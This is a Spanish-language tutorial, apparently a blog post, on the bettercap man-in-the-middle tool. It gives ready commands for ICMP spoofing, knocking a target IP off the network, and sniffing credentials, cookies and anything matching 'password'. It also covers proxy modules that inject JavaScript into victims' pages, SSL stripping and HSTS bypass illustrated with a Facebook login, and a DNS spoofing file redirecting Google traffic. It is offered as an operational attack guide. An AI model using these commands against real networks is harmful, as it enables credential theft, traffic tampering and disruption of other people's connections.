Utilice un ataque de suplantación de redireccionamiento ICMP de full duplex :

sudo bettercap -S ICMP o sudo bettercap --spoofer ICMP

Desactivar el spoofing:

sudo bettercap -S NONE o sudo bettercap --spoofer NONE o sudo bettercap --no-spoofing

Prohibir que una dirección IP se conecte a la red (En este caso 192.168.1.2):

sudo bettercap -T 192.168.1.2 --kill

Opciones

-S, --spoofer NAME

Módulo Spoofer a utilizar, disponible: ARP , ICMP , NONE - por defecto: ARP .

--no-spoofing

Deshabilitar spoofing.

--kill

En lugar de reenviar paquetes, este conmutador hará que las conexiones de destino sean eliminadas.

--full-duplex

Habilitar MITM dúplex completo, esto hará el ataque de bettercap entre en el/los objetivo(s) y el enrutador.

Sniffing y recolección de credenciales


El sniffer incorporado es actualmente capaz de diseccionar e imprimir desde la red (o desde un archivo PCAP previamente capturado) las siguientes informaciones:

* URLs visitadas.
* Hosts HTTPS que están siendo visitados.
* HTTP POSTed datos.
* Autenticaciones HTTP Basic y Digest.
* Cookies HTTP.
* Credenciales de FTP.
* Credenciales de IRC.
* Credenciales POP, IMAP y SMTP.
* Credenciales NTLMv1 / v2 (HTTP, SMB, LDAP, etc).
* Credenciales del protocolo DICT.
* Credenciales del MPD.
* Credenciales NNTP.
* Mensajes DHCP y autenticación.
* Credenciales de inicio de sesión de REDIS.
* RLOGIN credenciales.
* Credenciales SNPP.
Y más! 

Ejemplos

Utilice bettercap como un sniffer de red local simple:

sudo bettercap --local o sudo bettercap -L

Utilice el archivo capture.pcap en su directorio personal como fuente de paquetes:

sudo bettercap --sniffer-source ~/archivo.pcap

Spoof toda la red y guardar todos los paquetes en el archivo capture.pcap en su directorio personal:
sudo bettercap --sniffer-output ~/archivo.pcap

Spoofear toda la red, pero sólo sniffear tráfico HTTP:

sudo bettercap --sniffer-filter "tcp port http"

Spoofear toda la red y extraer los datos de los paquetes que contienen la palabra "contraseña":

sudo bettercap --custom-parser ".*password.*"

Opciones

-X, --sniffer

Habilitar el sniffer.

-L, --local

De forma predeterminada, bettercap sólo analizará los paquetes procedentes de/a otras direcciones de la red, si también desea procesar los paquetes enviados o recibidos desde su propia computadora puede utilizar esta opción (NOTA: habilitará el sniffer).

--sniffer-source FILE

Carga los paquetes del archivo PCAP especificado en lugar de la interfaz de red (NOTA: habilitará el sniffer).

--sniffer-output FILE

Guarda todos los paquetes en el archivo PCAP especificado (NOTA: activará el sniffer).

--sniffer-filter EXPRESSION

Configura el sniffer para usar este filtro BPF (NOTA: habilitará el sniffer).

-P, --parsers PARSERS

Lista separada por comas de analizadores de paquetes para habilitar, * para todos (NOTA: habilitará el sniffer), disponible: COOKIE , CREDITCARD , DHCP , DICT , FTP , HTTPAUTH , HTTPS , IRC , MAIL , MPD , MYSQL , NNTP , NTLMSS , PGSQL , POST , REDIS , RLOGIN , SNMP , SNPP , URL , WHATSAPP , predeterminado a * .

--custom-parser EXPRESSION

Utilice una expresión regular personalizada para capturar y mostrar datos sniffeados. (NOTA: habilitará al sniffer).

Acerca de Proxying.

Bettercap se suministra con un proxy HTTP/HTTPS (con SSL Stripping y HSTS Bypass) y TCP transparente que se puede utilizar para manipular HTTP / HTTPS o tráfico TCP de bajo nivel en tiempo de ejecución, por ejemplo, puede usar el proxy HTTP / HTTPS para inyectar javascripts en los objetivos que visitan páginas (BeEF sería una gran elección: D), reemplazar todas las imágenes, etc o utilizar el TCP para otros protocolos.


Una vez habilitados uno o más proxies, bettercap se hará cargo de las reglas de spoofing y firewall necesarias para redirigir el tráfico de sus objetivos al proxy.

De forma predeterminada, los proxies builtin no harán otra cosa que registrar todas las solicitudes, además puede especificar un "módulo" para usar y podrá cargar uno de los complementos integrados (o los suyos) y manipular todo el tráfico como lo haga me gusta.

HTTP / HTTPS


Bettercap trae integrados proxies transparentes HTTP y HTTPS que se pueden utilizar para manipular el tráfico HTTP y HTTPS en tiempo de ejecución (inyectar javascripts en las páginas visitadas, reemplazar las imágenes, etc.). De forma predeterminada, los proxies integrados no harán otra cosa que registrar solicitudes HTTP(S), pero si especifica un argumento --proxy-module , podrá cargar uno de los módulos incorporados (o el suyo) y manipular el tráfico HTTP como te gusta.

Los módulos incorporados son:

InjectJS ( --proxy-module injectjs ): Se utiliza para inyectar código javascript / archivos dentro de páginas HTML.

InjectCSS ( --proxy-module injectcss ): Se utiliza para inyectar código CSS / archivos dentro de páginas HTML.

InjectHTML ( --proxy-module injecthtml ): Se utiliza para inyectar código HTML dentro de páginas HTML.

Los módulos proxy HTTP/HTTPS pueden requerir argumentos de línea de comandos adicionales, siempre es una buena idea mirar sus menús de ayuda específicos:

bettercap --proxy-module NOMBRE_DEL_MODULO -h

Módulo de ejemplo

Puede implementar fácilmente un módulo para inyectar datos en páginas o simplemente inspeccionar las peticiones / respuestas creando un archivo ruby ​​y pasarlo a bettercap con el argumento --proxy-module , lo siguiente es un módulo de ejemplo que inyecta algunos contenidos en la etiqueta de título de cada página html, puede encontrar otros módulos de ejemplos en el repositorio dedicado de módulos proxy.

HTTP

SSL Stripping.

SSL stripping es una técnica introducida por Moxie Marlinspike (El creador de Signal Private Messenger, la aplicación de mensajería más segura del mundo) durante BlackHat DC 2009, la descripción del sitio web de esta técnica va como:

"Se secuestrará de forma transparente el tráfico HTTP en una red, observará los enlaces HTTPS y los redireccionamientos y, a continuación, asignará esos vínculos a vínculos HTTP parecidos o enlaces HTTPS similares a homógrafos. "
En resumen, esta técnica reemplazará cada enlace https en páginas web que el objetivo está navegando con http , así que si una página normalmente se veía así:

  ... <a href = "https://www.facebook.com/"> Iniciar sesión </ a > ...

Durante un ataque de SSL stripping  su código HTML se modificará como:

  ... <a href = "http://www.facebook.com/"> Iniciar sesión </ a > ...

Siendo un ataque MITM, esto nos permite sniffear y modificar páginas que normalmente no podríamos ver.

Desvío HSTS

El SSL stripping funcionó bastante bien hasta 2010, cuando se introdujo la especificación HSTS , Wikipedia dice:

"HTTP Strict Transport Security (HSTS) es un mecanismo de política de seguridad web que ayuda a proteger sitios web contra ataques de degradación del protocolo y secuestro de cookies. Permite a los servidores web declarar a los navegadores web (u otros agentes de usuario) que sólo deben interactuar con él mediante conexiones HTTPS seguras y nunca a través del protocolo HTTP inseguro. HSTS es un protocolo de seguimiento de normas IETF y se especifica en RFC 6797. "

Por otra parte las políticas de HSTS se han incorporado a los principales navegadores, lo que significa que ahora, incluso con un ataque SSL stripping ejecutándose, el navegador se conectará a HTTPS de todos modos, incluso si se especifica el esquema http:// , haciendo inútil el ataque.


Por esta razón, Leonardo Nve Egea presentó sslstrip + (o sslstrip2) durante BlackHat Asia 2014. Esta herramienta era una mejora sobre la versión original de Moxie, creada específicamente para eludir las políticas de HSTS. Dado que las reglas HSTS la mayoría de las veces se aplican en base a cada nombre de host, el truco es rebajar los enlaces HTTPS a HTTP y añadir un nombre de dominio secundario personalizado a ellos. Cada enlace resultante no será válido para ningún servidor DNS, pero ya que estamos MITMing podemos resolver estos nombres de host de todos modos.

Tomemos la página de ejemplo anterior:

  ... <a href = "https://www.facebook.com/"> Iniciar sesión </ a > ...

Un ataque de derivación de HSTS lo cambiará a algo como:

  ... <a href = "http://wwww.facebook.com/"> Iniciar sesión </ a > ...

Tenga en cuenta que https ha sido degradado a http y www reemplazado por wwww.

Cuando la "víctima" haga clic en ese enlace, no se aplicará ninguna regla HSTS (ya que no hay regla para tal subdominio que acabamos de crear) y el software MITM (BetterCap en nuestro caso) se encargará de la resolución DNS, lo que nos permite ver y alterar el tráfico que se supone no podemos ver.






Demostración

El siguiente video muestra cómo realizar ataques SSL Stripping y HSTS Bypass para capturar las credenciales de inicio de sesión de Facebook de un destino específico.

DNS

Si desea realizar spoofing de DNS, debe especificar el argumento en la línea de comandos --dns FILE, donde el valor FILE es el nombre de un archivo compuesto por entradas como las siguientes:

# Empty lines or lines starting with # will be ignored.

# redirect *.google.com to the attacker ip address
local .*google\.com

# redirect *.microsoft.com to 10.10.10.10
10.10.10.10 .*microsoft\.com


Entonces todo lo que te queda por hacer es ejecutar:

sudo bettercap --dns dns.conf


--dns FILE


Activa el servidor DNS y utiliza este archivo como una tabla de resolución de hosts.

--dns-port PORT

Establecer el puerto del servidor DNS, por defecto es el 5300.

Con esto finalizamos este post acerca de bettercap, si tienen alguna recomendación o duda pueden hacernos saber en los comentarios o en nuestra sala de chat.

Síguenos en Facebook, Twitter y unete a nuestra charla en Riot. También puedes dejar su donación a nuestra cuenta Paypal.